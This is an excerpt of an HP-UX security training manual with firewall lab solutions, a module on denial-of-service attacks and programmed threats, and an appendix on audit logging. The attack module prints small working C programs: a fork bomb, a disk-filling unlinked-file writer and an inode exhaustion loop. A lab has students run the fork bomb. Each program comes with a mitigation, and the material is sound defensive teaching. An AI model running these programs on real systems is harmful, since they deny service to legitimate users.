block in log quick on lan0 from 192.168.0.0/16 to any
block in log quick on lan0 from 172.16.0.0/12 to any
block in log quick on lan0 from 10.0.0.0/8 to any
firewall# ipf –Fa –f /etc/ipf.conf

http://education.hp.com 18-39 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

3. If your network doesn’t use non-routable addresses, you should block outbound packets
to these IPs, too, to avoid becoming a relay host for hackers’ attacks.

firewall# vi /etc/ipf.conf
block out log quick on lan0 from any to 192.168.0.0/16
block out log quick on lan0 from any to 172.16.0.0/12
block out log quick on lan0 from any to 10.0.0.0/8
firewall# ipf –Fa –f /etc/ipf.conf

4. What is the purpose of the purpose of the quick keyword in the rules in the previous
question? What would happen if you included the quick keyword in the rules you
defined in question #1?

Answer:

5. Some hackers try to send packets to remote systems using a spoofed loopback address as
a source IP. Ensure that 127.*.*.* packets are allowed in and out via the lo0 loopback
interface, but never via the lan0 interface.

firewall# vi /etc/ipf.conf
pass in quick on lo0 all
pass out quick on lo0 all
block in log quick from any to 127.0.0.0/8
block out log quick from 127.0.0.0/8 to any
firewall# ipf –Fa –f /etc/ipf.conf

6. Many attacks in recent years have been perpetrated via the ICMP protocol. Unless you
have reason to allow external hosts to ping your system, consider blocking ICMP
protocol packets from unauthorized sources. For the purpose of this lab, allow your
system to ping anyone, but block incoming ICMP packets from all other hosts.

firewall# vi /etc/ipf.conf
pass out quick proto icmp from any to any keep state
block in log quick proto icmp from any to any
firewall# ipf –Fa –f /etc/ipf.conf

H3541S D.02 18-40 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

7. Since the lab setup script configured your system as a DNS server, add a few lines to
enable inbound and outbound DNS queries. Also enable outbound NTP queries. Disable
all other UDP services.

firewall# vi /etc/ipf.conf
pass out quick proto udp from firewall/32 to any port = 123 …
keep state
pass out quick proto udp from firewall/32 to any port = 53 …
keep state
pass in quick proto udp from any to firewall/32 port = 53 …
keep state
block in log quick proto udp from any to any
block out log quick proto udp from any to any
firewall# ipf –Fa –f /etc/ipf.conf

8. Since you may need to browse the HP ITRC from your server occasionally, enable
outbound (but not inbound) HTTP access. Also allow outbound telnet access so you
can access remote systems if necessary. Wait until the next question to block all other
TCP services…

firewall# vi /etc/ipf.conf
pass out quick proto tcp from firewall/32 to any port = 80 …
flags S keep state
pass out quick proto tcp from firewall/32 to any port = 23 …
flags S keep state
firewall# ipf –Fa –f /etc/ipf.conf

9. Finally, to facilitate uploading files to your server, enable inbound and outbound active
FTP access. Block all other TCP services.

firewall# vi /etc/ipf.conf
pass in quick proto tcp from any port > 1023 to firewall/32 …
port = 21 flags S keep state # server control port
pass out quick proto tcp from any port = 20 to any …
port > 1023 flags S keep state # server data port
pass out quick proto tcp from firewall/32 port > 1023 to any …
port = 21 flags S keep state # client control port
pass in quick proto tcp from any port = 20 to firewall/32 …
port > 1023 flags S keep state # client data port
block in log quick proto tcp from any to any
block out log quick proto tcp from any to any
firewall# ipf –Fa –f /etc/ipf.conf

10. View the completed firewall ruleset with the rule numbers. You may want to print a copy
of the output to review during the next portion of the lab.

# ipfstat -ion

http://education.hp.com 18-41 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

Part IV: Testing your IPFilter Configuration

1. Open a second window on your desktop and telnet to your instructor’s host. Leave
this window open for the duration of the lab.

# telnet instructor

2. Use the ping commands listed below to verify your ICMP filtering. Can you determine
which rule in the ruleset is responsible for blocking or allowing each ping?

firewall# ping loopback

firewall# ping instructor
instructor# ping firewall

Answer:

3. Use the ntpq commands listed below to verify your NTP filtering. Can you determine
which rule in the ruleset is responsible for blocking or allowing each command?

firewall# ntpq -p loopback

firewall# ntpq -p instructor
instructor# ntpq -p firewall

Answer:

4. Use the telnet commands listed below to verify your TCP filtering. Can you determine
which rule in the ruleset is responsible for blocking or allowing each command?

firewall# telnet loopback

firewall# telnet instructor
instructor# telnet firewall

Answer:

H3541S D.02 18-42 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

5. Use the telnet commands listed below to verify your HTTP filtering. Attempt to access
the index.html web page via Apache server port 80 in each case. Note that Apache
won’t prompt for a password; type the GET command immediately after the connection is
established. If you get a slew of HTML code in response, assume that your request
passed through the firewall! If the firewall causes the GET command appears to hang, hit
^C to terminate the connection. Can you determine which rule in the ruleset is
responsible for blocking or allowing each command?

firewall# telnet loopback 80

GET /index.html
firewall# telnet instructor 80
GET /index.html
instructor# telnet firewall 80
GET /index.html

Answer:

6. Use the ftp commands listed below to verify your FTP filtering. Can you determine
which rule(s) in the ruleset is/are responsible for blocking or allowing each command?

firewall# ftp loopback

ftp> ls

firewall# ftp instructor

ftp> ls

instructor# ftp firewall

ftp> ls

Answer:

7. What happens if you attempt to connect to the firewall from the instructor station via
passive FTP?

instructor# ftp firewall

ftp> passive
ftp> ls

Answer:

http://education.hp.com 18-43 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

Part V: Cleanup
1. Flush your ruleset from memory and purge the /etc/ipf.conf file.

# ipf –Fa
# >/etc/ipf.conf
2. Before continuing on to the next chapter, restore your system to its original state by
running the netfiles script. When asked if you wish to reboot your system, answer
yes.

# /labs/scripts/netfiles -r INITIAL

H3541S D.02 18-44 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 19  How the Hacker Performs Damaging
Tasks
Objectives
Upon completion of this module, you will be able to do the following:
• Describe six damaging tasks a hacker might perform after gaining access to a target.

• Minimize the danger of CPU DoS attacks.

• Minimize the danger of disk space DoS attacks.

• Minimize the danger of inode table DoS attacks.

• Minimize the danger of network DoS attacks.

• Minimize the dangers posed by viruses, trojan horses, and other programmed threats.

http://education.hp.com 19-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 19
How the Hacker Performs Damaging Tasks

19–1. SLIDE: Perform Unauthorized Activities: Perform

Damaging Tasks

Perform Unauthorized Activities: Perform

Damaging Tasks

Step 1 Step 2 Step 3 Step 4

Gather Get to Gain user Perform
information a login access to the unauthorized
about the target prompt system activities
system

UNIX
Login:

Gain access
Perform
Monitor and hide Create to other systems
damaging
system activity backdoors on the network
tasks

Student Notes
By this point, the hacker has monitored system activity to determine how well the system is
administered, made every effort to cover up tracks, created backdoors for future access, and
may even have explored other systems on the network. In this final chapter, we will examine
how hackers may attempt to damage a target system after gaining access.

H3541S D.02 19-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 19
How the Hacker Performs Damaging Tasks

19–2. SLIDE: The Hacker's Goal after Gaining Access

The Hacker’s Goal after Gaining Access

Now that I have root access on my target system, I can…

• Deface websites
• Plant false data in the system’s files and databases
• Remove critical system files and directories
• Collect confidential information
• Perpetrate denial of service (DoS) attacks

Student Notes
The slide highlights some of the many damaging tasks hackers may attempt after gaining
access to a target system:
• Deface websites. In an effort to embarrass the target organization, the hacker may
modify or replace web pages on the target’s website.

• Plant false data in the system’s files and databases. The hacker may try to move funds
from account to account, or modify files containing data upon which your organization
makes critical business decisions.

• Remove critical system files and directories. Removing the /dev directory, the kernel, or
other key files may render the target system unusable and damage the target
organization. Hackers may even maliciously overwrite entire file systems.

• Collect confidential information. The hacker may collect credit card numbers for
personal use, or confidential information that might be sold to competitors.

• Perpetrate denial of service attacks. The hacker may run programs that consume system
resources so legitimate clients can’t access the resources they need.

http://education.hp.com 19-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 19
How the Hacker Performs Damaging Tasks

19–3. SLIDE: DoS Attack: Too Many Processes

DoS Attack: Too Many Processes

I’ll fork an infinite number of processes to fill the process table and
monopolize CPU resources!

main()
{
while (1)
fork();
}

Use top or glance to identify top resource users.

Use the maxuprc kernel parameter to control the number of user processes.
Use PRM to guarantee CPU resources for critical processes.

Student Notes
One of the simplest denial of service attacks is a process attack. In this attack, the hacker
renders the target system unusable by consuming CPU cycles and process table entries.

In the example on the slide, the process executes the fork() system call, which creates a
second identical instance of the process. The new process then executes a fork() system
call, too, creating another identical process instance. This pattern occurs repeatedly until the
administrator intervenes or the hacker exceeds the maximum number of user processes
allowed in the process table. Even if the administrator kills one process, a new one
immediately takes its place.

Solutions
You can determine which processes are monopolizing CPU resources by running the top or
glance commands.

HP-UX limits the number of processes that any single user can run concurrently via the
maxuprc kernel parameter. Consider tweaking this parameter.

H3541S D.02 19-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 19
How the Hacker Performs Damaging Tasks

Perhaps the best solution, though, is to purchase and implement HP’s Process Resource
Manager (PRM) product. PRM makes it possible to guarantee a minimum percentage of your
CPU resources to critical processes and applications. The PRM utility is described in HP
Education’s Performance and Tuning class, course number H4262S. In the US, there is also a
four day course that covers PRM and Workload Manager (WLM). Look for course number
U5447S.

If you suspect that your system has fallen prey to an attack similar to the one described on
the slide, start a real-time priority shell, STOP the offending processes to prevent them from
re-forking, then KILL them.

# rtprio 1 sh
# kill -STOP $(ps –ef | grep proc_name | grep –v grep | cut –c10-14)
# kill -KILL $(ps –ef | grep proc_name | grep –v grep | cut –c10-14)

http://education.hp.com 19-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 19
How the Hacker Performs Damaging Tasks

19–4. SLIDE: DoS Attack: Too Many Data Blocks

DoS Attack: Too Many Data Blocks

I’ll create an infinitely growing file to monopolize file system data

blocks – and I’ll unlink the file so no one can see it!

#include <fcntl.h>
main()
{
int ifd;
char buf[8192];
ifd=open("./attack", O_RDWR|O_CREAT);
unlink("./attack");
while(1)
write(ifd, buf, sizeof(buf));
}

Use bdf to determine disk usage.

Use file system quotas to restrict user disk space usage.
Subdivide your file hierarchy into multiple, smaller logical volumes.
Use lsof to determine which processes are using which files.

Student Notes
Hackers may also try to fill a file system so your legitimate users and applications can no
longer create files and directories.

The example on the slide is a C program that creates a file called ./attack, unlinks the file,
then repeatedly writes 8K blocks to the file until the file system is full. The unlink system
call is a particularly insidious element of the program. Unlinking a file removes the file’s
name from the parent directory, rendering the file invisible to commands like ls and du.
Though unlink removes the file name, the data blocks associated with the file aren’t
returned to the free space pool until all processes using the file close their file descriptors.
Since the program on the slide is an infinite loop, the file will remain in the file system, but
hidden from the administrator, until the process dies.

H3541S D.02 19-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 19
How the Hacker Performs Damaging Tasks

Solutions
Though ls and du can’t see the unlinked file, the bdf command should still accurately report
the amount of free space in the file system.

To prevent this problem from occurring in the first place, consider implementing disk quotas.
Disk quotas specify “hard” and “soft” quoates that determine how much space each user can
consume in each file system. When a user exceeds his or her soft quota, they will see a
warning message at login time. When a user exceeds his or her hard quota, they won’t be
able to create or extend files. See the quota(5) man page for more information.

Subdividing the HP-UX file system hierarchy may help, too. If your entire directory structure
is in a single “/” file system, the hacker could fill that file system, which may cause legitimate
processes to die. If you configure /home as a separate file system, the hacker may be able to
fill /home, while other file systems remain unaffected.

Though ls and du don’t report unlinked files, the lsof command that we installed earlier in
the course reports all open files, linked or unlinked, and the PIDs using those files. You may
be able to use lsof to identify the offending process. Once you identify the offending
process, kill it. If you can’t determine which process is causing the problem, it may be
necessary to reboot. Afterwards, be sure to run fsck to check for damage.

http://education.hp.com 19-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 19
How the Hacker Performs Damaging Tasks

19–5. SLIDE: DoS Attacks: Too Many Inodes

DoS Attack: Too Many Inodes

I’ll create an infinite number of empty files to fill the inode table!

#include <fcntl.h>
main()
{
int ifd;
int i;
char fname[48];
for (i=1;;i=i+1) {
sprintf(fname, "file%d", i);
ifd=open(fname, O_CREAT);
close(ifd);
}
}

Use bdf –i to determine inode table usage.

Use file system quotas to restrict user inode table usage.
Migrate to JFS.

Student Notes
The UNIX file system uses inodes to store file permissions and other attributes. If the inode
table becomes full, existing files remain accessible, but users can’t create new files,.

The sample program on the slide attempts to create an infinite number of empty files. Each
file consumes an inode, but isn’t allocated any data blocks. Eventually, the program will fill
all available slots in the inode table so legitimate users can no longer create new files and
directories.

Solutions
This situation is difficult to diagnose because the bdf command might show lots of available
disk space, but attempts to create a file result in a "no space" error. If you include the –i
option on bdf, however, the %ifree column reports the percentage of free space available
in the inode table.

To prevent the problem from occurring in the first place, implement disk quotas. Disk quotas
make it possible to limit the number of inodes available to individual users.

H3541S D.02 19-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 19
How the Hacker Performs Damaging Tasks

JFS file systems create inodes on an as-needed basis. Thus, though you may not run out of
inodes, the inode table may eventually grow to the point that it consumes all of the data
blocks in your file system!

http://education.hp.com 19-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 19
How the Hacker Performs Damaging Tasks

19–6. SLIDE: DoS Attack: Too Many Connections

DoS Attack: Too Many Connections

I’ll initiate a network denial of service attack … and I don’t even need
a login on the target system!

Service Overloading: Overwhelm a particular network service daemon such

that legitimate network users are denied access.

Message Flooding: Flood a particular network LANIC with wireless

networks.

Connection Clogging: Open multiple partially completed TCP

connections to overwhelm TCP/IP.

Signal Grounding: Physically tamper with the network infrastructure

Disable unnecessary services.

Physically secure your network devices and ports.
Subnet your network.
Reject connection attempts from unknown hosts and networks at the firewall.

Student Notes
Network services and protocols are vulnerable to denial of service attacks, too. In fact,
network denial of service attacks are among the most popular attacks since hackers can
often perpetrate them without having login access on the target system. There are several
varieties of network denial of service attacks.

Service Overloading
Service overloading occurs when floods of network requests are made to a single daemon on
a target computer. As the system attempts to respond to the flood of requests, service
requests from legitimate clients may time out. The inetd services are common targets of
this sort of attack.

Message Flooding
Message flooding occurs when a user floods a machine on the network with UDP message
packets. Again, as the system attempts to cope with the flood of messages, legitimate clients
may time out. NIS and NFS, which use UDP, are common targets of this sort of attack.

H3541S D.02 19-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 19
How the Hacker Performs Damaging Tasks

Connection Clogging
Clogging occurs when the limit of partially open TCP connections is reached. TCP
connections open on a multi-way handshake to open a connection and set parameters. If a
hacker sends multiple requests to initiate a connection but then fails to follow through, the
target is left with multiple half-open connections that may cause legitimate TCP connection
requests to fail.

Usually these connection requests have forged source addresses, so there is no way to trace
the connections to their source. They remain until they time out or are reset by the hacker.

Signal Grounding
Physical methods can be used to disable a network, too. Grounding the signal on a network
cable, introducing some other signal, or removing an Ethernet terminator may prevents
clients from transmitting or receiving data.

This attack can be used to mask break-in attempts on machines that report bad logins or
other suspicious behavior to master machines across the network. Be suspicious of any
network outage.

Solutions
Disable unnecessary services. Every open port is potential vulnerability.

Physically secure your network devices and ports in locked rooms to make it more difficult
for a hacker to gain access to your network.

Subnet your network. This limits the scope of damage if a host on your network is
compromised. Ideally, configure firewalls between subnets.

Reject connection attempts from unknown hosts and networks at the firewall. If hackers
can’t get into your network, they can’t perpetrate denial of service attacks.

http://education.hp.com 19-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 19
How the Hacker Performs Damaging Tasks

19–7. SLIDE: Types of Programmed Threats

Programmed Threats

I’ll plant unauthorized code on my target system to consume

resources or damage system and data files!

• Logic bombs
• Trojan horses
• Viruses
• Worms
• Bacteria or Rabbit programs

Set appropriate file and directory permissions.

Never include world-writable directories in your PATH.
Be wary of email attachments from unknown sources.
Be wary of contributed software from unknown sources.
Use your user login rather than root as much as possible.

Student Notes
There are many different kinds of programmed threats. Experts classify threats by the way
they behave, how they are triggered, and how they spread.

Logic Bombs
Logic bombs are programmed threats that lie dormant in commonly used software for an
extended period of time until they are triggered. When triggered they perform an unintended
function of the program in which they are contained. Conditions that might trigger a logic
bomb are absence of certain files, a day of the week, or a particular user running an
application.

Trojan Horses
A Trojan horse is a program that resembles a program that the user wishes to run (such as a
game, spreadsheet, or an editor). The program appears to be doing what the user wants, but
it actually is doing something else unrelated to its advertised purpose without the user's
knowledge.

H3541S D.02 19-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 19
How the Hacker Performs Damaging Tasks

Viruses
A true virus is a sequence of code that is inserted into other executable code, so that when
the regular program is run, the viral code is also executed. The viral code causes a copy of
itself to be inserted in one or more other programs. Viruses require a host program (such as
an email client) to execute and activate them.

Worms
Worms are programs that can run independently and travel from machine to machine across
network connections. Worms may have portions of themselves running on many different
machines. Worms do not change other programs, although they may carry other code that
does. Worms are difficult to write and can cause much damage.

Bacteria or Rabbits
Bacteria (also known as rabbits) are programs that do not explicitly damage any files. Their
sole purpose is to replicate themselves. Bacteria reproduce exponentially, eventually taking
up all the processor capacity, memory, or disk space and denying user access to those
resources.

Solutions
Set appropriate file and directory permissions to prevent hackers from adding or replacing
executables on your system.

Never include world-writable directories in your PATH.

Be wary of email attachments from unknown sources; especially beware of attachments that
are executable.

Be wary of contributed software from unknown sources; it may contain Trojan horse code.

Use your user login rather than root as much as possible. For day-to-day web surfing and
email correspondence, use your personal account rather than root. Running a compromised
program with user permissions is much less dangerous than running a compromised program
with root permissions!

http://education.hp.com 19-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 19
How the Hacker Performs Damaging Tasks

19–8. LAB: Damaging Tasks

Part I: Process Table Denial of Service Attack

Sometimes hackers wreak havoc on a target system by using so many of the target's system
resources that legitimate users can't access the resources they need. This example shows
how easy it is for a hacker to perpetrate this type of denial of service attack.
1. Login as user1. Create the following denial-of-service program:

$ vi lots_proc.c
main()
{
while (1)
fork();
}

2. Compile the program:

$ gcc lots_proc.c -o lots_proc

3. Launch the “denial-of-service” attack on your system by executing:

$ ./lots_proc &

Try to recover from the attack on your own. If you need help, go to step 4.

4. One way to recover from the denial-of-service attack is to first start a shell with extremely
high priority such that it can get the CPU without waiting. BE VERY CAREFUL WHEN
RUNNING THIS SHELL.

# rtprio 1 sh

5. Once the shell starts (this could take a couple of minutes – maybe even a couple of tries)
stop all the lots_proc processes by executing:

# kill –STOP $(ps –ef | grep lots_proc | grep –v grep | cut –c10-14)

6. Once all the processes are stopped, kill them:

# kill KILL $(ps –ef | grep lots_proc | grep –v grep | cut –c10-14)

H3541S D.02 19-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 19
How the Hacker Performs Damaging Tasks

Part II: Trojan Horse Attack

Recall that a Trojan horse is a program that appears to provide some useful functionality, but
which also, unbeknownst to the user, compromises the system's integrity or security. A
sample Trojan horse program has been loaded on your system under the
/usr/contrib/bin directory.
1. First, do an ll on the /tmp directory. Are there any suspicious-looking files in /tmp
currently?

Answer:

2. Run the Trojan horse program by typing:

# /usr/contrib/bin/tetris

3. Is there any outward indication that the program is a security problem?

Answer:

4. After completing the game, examine the /tmp directory again. Do you see anything
suspicious now? Explain!

Answer:

5. What should you do to avoid this type of problem on your system back home?

Answer:

http://education.hp.com 19-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 19
How the Hacker Performs Damaging Tasks

Part III: Virus Attack

In recent years, email attachments have often been used as hosts for viruses. This exercise
will expose you to just such a virus!
1. Log into CDE as root, then click on the envelope icon in the CDE front panel to launch
the dtmail utility.

2. You should have a message in your mailbox regarding the procedure for installing a new
version of dbase. Read and follow the instructions contained in the message.

3. What happened? Take a look at your .rhosts file to find out!

Answer:

4. Did the virus propagate itself? Logout, then log back in again as user1 to find out!

Answer:

5. What should you do to avoid this situation on your system back home?

Answer:

H3541S D.02 19-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Appendix A  Solution: Trusted Systems Auditing
Objectives
Upon completion of this module, you will be able to do the following:
• Turn auditing on and off.

• List the location of the audit log files.

• View the contents of the audit log files.

• Identify three different methods for specifying the type of information to be audited.

• Determine whether or not a user is currently being audited.

http://education.hp.com A-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Appendix A
Solution: Trusted Systems Auditing

A–1. SLIDE: Overview of Trusted Systems Auditing

Overview of Trusted Systems Auditing

• Audit system calls performed by programs executed by users.

• Audit all or some system calls.
• Audit all or some users.

Warning: Audit log files

grow quickly!

Student Notes
Auditing is an important security feature realized with C2 trusted systems. Auditing provides
a systems administrator with the ability to track activity generated by users in the form of
system calls. On HP-UX trusted systems, auditing can be enabled to monitor all or selected
system calls being generated for all or selected users.

Auditing system calls is a more reliable method for monitoring activity than auditing
commands. With commands, actions can be easily disguised by linking a dangerous
command (like rm) to a seemingly innocent name (like dir). When the command dir * is
executed, all files in the directory are removed, though this would not be obvious if just the
command names were being audited.

H3541S D.02 A-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Appendix A
Solution: Trusted Systems Auditing

Length of Audit Logs

Because system calls are audited, activity cannot be disguised. However, there is much more
data being logged, since there are many system calls executed for every one command. To
limit the amount of data, not all system calls need to be logged, and not all users need to be
audited. For example, operating system accounts (user IDs 0-99) usually do not need to be
audited, and common system calls like fork(), exec(), and close() probably do not
need to be logged. These system calls and user accounts can be filtered to limit the large
amount of data being logged when auditing is turned on.

http://education.hp.com A-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Appendix A
Solution: Trusted Systems Auditing

A–2. SLIDE: The Audit Log File

The Audit Log File

audfile1 audfile2

The switch occurs

when the file
reaches its
maximum size
or the file system
reaches 80% of
its total capacity.

Student Notes
When auditing is turned on, the audit data is recorded in the primary audit log file. By
default, the name of the primary audit log file is /.secure/etc/audfile1. An auxiliary
log file serves as the alternate or backup file for collecting the auditing data. The default
name of the auxiliary log file is /.secure/etc/audfile2.

Auditing data is logged in the primary audit log file until one of the following two conditions
is met:

• The primary audit log file reaches its defined maximum size (the default is 1 MB).
• The file system containing the primary audit log file reaches 80% of capacity (the value of
80% is a kernel tunable parameter).

These conditions are checked every minute (the frequency is configurable). Auditing can
also be configured to provide a warning message when the primary audit log file is close to
reaching its maximum capacity. By default, this warning is issued at 90% capacity.

To ensure that at least one of the log files is available at all times, the audit log files should
ideally be in different file systems.

H3541S D.02 A-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Appendix A
Solution: Trusted Systems Auditing

Audit Log Switch

When one of the two conditions is met, either the primary audit log file reaches maximum
capacity or the file system reaches 80 percent capacity, an audit log switch occurs. The
auxiliary audit log file becomes the primary audit log file.

NOTE: After the audit log switch occurs, the systems administrator must
configure a new auxiliary audit log before another audit log file switch
is required!

http://education.hp.com A-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Appendix A
Solution: Trusted Systems Auditing

A–3. SLIDE: Auditing Parameters

Auditing Parameters

• Primary log file

• Primary log file switch size
• Auxiliary log file name
• Auxiliary log file switch size
• Monitor wakeup interval
• File system free space
• Percentage of log file to
generate warning

Student Notes
Auditing records are logged initially to the primary audit file. When either the switch size or
the file system free space is reached, the audit subsystems attempt to switch to the auxiliary
log file. If it is impossible to switch, the primary log file continues to grow.

The audit monitor and log file parameters are defined as follows:

Primary log file name The full path name of the file that collects auditing data.
The default is /.secure/etc/audfile1.

Primary log file switch size The primary log file's size (kilobytes) at which logging
is switched to the auxiliary log file. The default is 1,000
kilobytes.

Auxiliary log file name The full path name of the alternate (backup) file for
collecting auditing data. The default is
/.secure/etc/audfile2.

H3541S D.02 A-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Appendix A
Solution: Trusted Systems Auditing

Auxiliary log file switch size The auxiliary log file's size (kilobytes) at which logging
is switched to a new log file. The default is 1,000
kilobytes.

Monitor wake-up interval Defines how frequently the audomon process checks
the state of the auditing system as it approaches the
predefined percent limits of the log file or the file
system. The default is 1 minute.

Allowable free space minimum The minimum amount of space allowed on the file
system before a switch to the backup file is attempted.
The default is 20 percent.

Percentage of log file to The percentage of the log file at which point audomon
Generate warning sends a message indicating that the current log file will
soon reach its maximum size. The default is 90 percent.

http://education.hp.com A-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Appendix A
Solution: Trusted Systems Auditing

A–4. SLIDE: Commands to Administer Auditing

Commands to Administer Auditing

Student Notes
There are several commands available to a systems administrator for managing the auditing
system.

The audsys Command

The audsys command turns auditing on and off, specifies the primary and auxiliary log files,
and identifies the log files' respective sizes. The syntax of the command is as follows:

audsys [-n | -f] [-cprim_file -sprim_file_sz] [-xaux_file -zaux_file_sz]

The audusr Command

The audusr command identifies which users to audit and not to audit. By default all users
are audited. The syntax of the command is as follows:

audusr [-A | -D] [-auser | -duser]

H3541S D.02 A-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Appendix A
Solution: Trusted Systems Auditing

The audevent Command

The audevent command identifies which events and system calls to audit and not to audit.
Events are categories of system calls. By default the Login, Moddac, and Admin events are
selected. The syntax of the command is as follows:

audevent [-P | -p] [-F | -f] [-E] [-eevent] [-S] [-ssys_call]

The audisp Command

The audisp command displays the contents of an audit log file. Any audit log file can be
displayed with this command. The syntax of the command is as follows:

audisp [options] aud_log_file

The audomon Command

The audomon command monitors the capacity of the current audit file and file system and
checks the two switch points. When an overflow condition is encountered, an audit log
switch occurs. This command is a daemon that normally is initiated during system startup.
The syntax of the command is as follows:

audomon [-pfss] [-tfreq] [-wwarning]

http://education.hp.com A-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Appendix A
Solution: Trusted Systems Auditing

A–5. SLIDE: Which Users Are Being Audited?

Which Users Are Being Audited?

grep auditflag /tcb/files/auth/*/*

/tcb/files/auth/u/user1: :u_auditflag#0:\
/tcb/files/auth/u/user2: :u_auditflag#0:\
/tcb/files/auth/u/user3: :u_auditflag#1:\
/tcb/files/auth/u/user4: :u_auditflag#1:\
/tcb/files/auth/u/user5: :u_auditflag#0:\

• If auditflag is 1, the user is being audited.

• If auditflag is 0, the user is not being audited.

Student Notes
By default, all users are audited. To reduce the amount of audit logging, a systems
administrator can use the audusr command to specify which users to audit and not to audit.

The u_auditflag is defined for a user in the trusted system user file located in the
/tcb/files/auth/first_letter_loginname directory. The name of the file is the
user's login name. The u_auditflag is one of many capability definitions defined for the
user.

If the u_auditflag is set to 1, the user is being audited. If the u_auditflag is set to 0, the
user is not being audited. In the example, user3 and user 4 are currently being audited
(u_auditflag is set to 1). The other users are not being audited (u_auditflag is set to 0).

At version 11.x of HP-UX, you can simply type audusr without any arguments to see which
users are currently being audited.

H3541S D.02 A-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Appendix A
Solution: Trusted Systems Auditing

A–6. SLIDE: Interpreting Audit Log Data

Interpreting Audit Log Data

audisp /.secure/etc/audfile1
TIME PID E EVENT PPID AID RUID RGID TTY
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
18:57 623 S 15 608 14 101 20 ttyp8
[ Event=chmod; User=roc; Real Grp=users; Eff. Grp=users]

RETURN_VALUE 1 = 0;
PARAM #1 (file path) = 1 (cnode);
0x40000001 (dev);
1162 (inode);
(path) = testfile
PARAM #2 (int) = 511

File permissions need to be converted to octal!

Student Notes
To display the contents of the primary audit log file the audisp command is used:

audisp /.secure/etc/audfile1

The fields recorded for each audit log entry are listed as follows:

TIME The date and time of the event.

PID The process ID number of the process generating the event.

E The returned status or error code of the event: S = success, F = failure.

EVENT The ID number used to represent the event.

PPID The parent process ID number of the process generating the event.

AID The audit ID number of the user generating the event.

RUID The real user ID number of the user generating the event.

http://education.hp.com A-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Appendix A
Solution: Trusted Systems Auditing

RGID The real group ID number of the user generating the event.

EUID The effective user ID number of the user generating the event (not shown
in the example).

EGID The effective user ID number of the user generating the event (not shown
in the example).

TTY The terminal on which the event was issued (either directly or indirectly).

Additional data fields are displayed depending on the specific system call.

Example
In the example, user roc generated a chmod system call to change file permissions of
parameter #1, the file testfile. The parameter #2 indicates the new file permissions. The
file permissions are printed in base 10 and need to be converted to octal (base 8), since file
permissions are defined using octal values.

Question: What command is used to convert the permissions from base 10 to base 8 (octal)?

NOTE: Practical UNIX and Internet Security pages 104-105

H3541S D.02 A-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Appendix A
Solution: Trusted Systems Auditing

A–7. SLIDE: Calculating File Permissions

Calculating File Permissions

vi octal.c
main()
{
long num;

printf (“Please enter the number to be converted to octal: ”);

scanf (“%d”, &num);
printf (“The decimal value %d has an octal value of %o\n”, num, num);
}

# gcc octal.c -o octal

# ./octal
Please enter the number to be converted to octal: 511
The decimal value of 511 has an octal value of 777.

Student Notes
To display the file permissions as octal values, a C program can be written. In the example,
program octal.c is written using the vi editor and compiled as follows:

gcc octal.c -o octal

When the user runs the newly compiled octal program, it prompts the user for the base 10
digits that are to be converted. A message is displayed to the user's screen with the base 8
(octal) digits.

In this case the audit log file displayed base 10 digits of 511, or octal digits of 777.

http://education.hp.com A-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Appendix A
Solution: Trusted Systems Auditing

The octal permissions translate to:

0400 Read by owner

0200 Write by owner
0100 Execute by owner

0040 Read by group

0020 Write by group
0010 Execute by group

0004 Read by other

0002 Write by other
0001 Execute by other

0777 Result Æ -rwxrwxrwx or a mode of 0777

H3541S D.02 A-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Appendix A
Solution: Trusted Systems Auditing

A–8. SLIDE: Auditing Considerations

Auditing Considerations

• Audit data may be inaccurate when programs supply incorrect

parameters.
• Auditing all system calls for all users may produce an excessive
amount of data.
• Auditing selective calls for selective users is recommended.
• Auditing the root user while running SAM produces
an excessive amount of audit records.

Student Notes
One of the biggest problems with C2 trusted system auditing is that it can consume a large
amount of space on an active system in a short amount of time. It is recommended to be
selective about who and what is logged so as not to generate a lot of extraneous information.

Put audit logs on a disk partition with a lot of available space. Also, use self-auditing
